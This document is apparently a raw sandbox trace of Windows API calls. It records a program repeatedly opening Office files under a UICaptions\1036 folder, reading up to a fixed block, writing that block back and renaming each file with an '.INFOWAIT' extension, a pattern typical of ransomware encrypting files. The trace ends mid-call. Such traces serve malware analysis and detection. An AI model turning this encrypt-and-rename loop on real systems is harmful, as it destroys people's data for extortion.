0x0 [0124.104] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0124.104] CloseHandle (hObject=0xad4) returned 1 [0124.105] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" [0124.105] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.INFOWAIT" [0124.105] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll.infowait")) returned 1 [0124.105] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.106] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.107] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.107] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0124.108] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc160 [0124.108] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.109] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.109] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xc160, lpOverlapped=0x0) returned 1 [0124.132] VirtualAlloc (lpAddress=0x0, dwSize=0xc160, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0124.136] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.136] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xc160, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xc160, lpOverlapped=0x0) returned 1 [0124.137] CloseHandle (hObject=0xad4) returned 1 [0124.137] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" [0124.137] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.INFOWAIT" [0124.137] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll.infowait")) returned 1 [0124.138] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.139] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.139] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.139] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0124.140] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17960 [0124.141] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.141] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.141] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x17960, lpOverlapped=0x0) returned 1 [0124.157] VirtualAlloc (lpAddress=0x0, dwSize=0x17960, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0124.166] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.166] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x17960, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x17960, lpOverlapped=0x0) returned 1 [0124.166] CloseHandle (hObject=0xad4) returned 1 [0124.166] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" [0124.166] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.INFOWAIT" [0124.166] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll.infowait")) returned 1 [0124.173] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.174] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.175] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.175] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.177] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2ced60 [0124.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.177] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.177] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0124.212] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0124.226] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.226] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0124.226] CloseHandle (hObject=0xad0) returned 1 [0124.226] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" [0124.227] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.INFOWAIT" [0124.227] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll.infowait")) returned 1 [0124.227] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.228] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.229] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.230] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.256] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb360 [0124.256] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.257] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.257] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb360, lpOverlapped=0x0) returned 1 [0124.313] VirtualAlloc (lpAddress=0x0, dwSize=0xb360, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0124.318] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.318] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb360, lpOverlapped=0x0) returned 1 [0124.318] CloseHandle (hObject=0xad0) returned 1 [0124.318] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" [0124.319] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.INFOWAIT" [0124.319] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll.infowait")) returned 1 [0124.319] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.321] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.321] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.321] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.323] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7b60 [0124.323] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.323] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.323] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7b60, lpOverlapped=0x0) returned 1 [0124.337] VirtualAlloc (lpAddress=0x0, dwSize=0x7b60, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0124.340] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.340] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7b60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7b60, lpOverlapped=0x0) returned 1 [0124.340] CloseHandle (hObject=0xad0) returned 1 [0124.340] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" [0124.340] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.INFOWAIT" [0124.340] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll.infowait")) returned 1 [0124.341] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.342] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.343] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.343] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.344] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3fb60 [0124.344] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.345] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.345] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0124.361] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0124.376] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.376] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0124.377] CloseHandle (hObject=0xad0) returned 1 [0124.377] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" [0124.377] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.INFOWAIT" [0124.377] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll.infowait")) returned 1 [0124.379] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.380] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.381] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.381] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.385] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x37560 [0124.385] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.385] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.385] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0124.650] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0124.665] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.665] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0124.670] CloseHandle (hObject=0xad0) returned 1 [0124.670] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" [0124.670] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.INFOWAIT" [0124.670] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll.infowait")) returned 1 [0124.671] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.672] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.673] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.673] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.674] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa6560 [0124.674] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.674] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.674] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0124.742] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0124.755] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.755] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0124.756] CloseHandle (hObject=0xad0) returned 1 [0124.756] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") 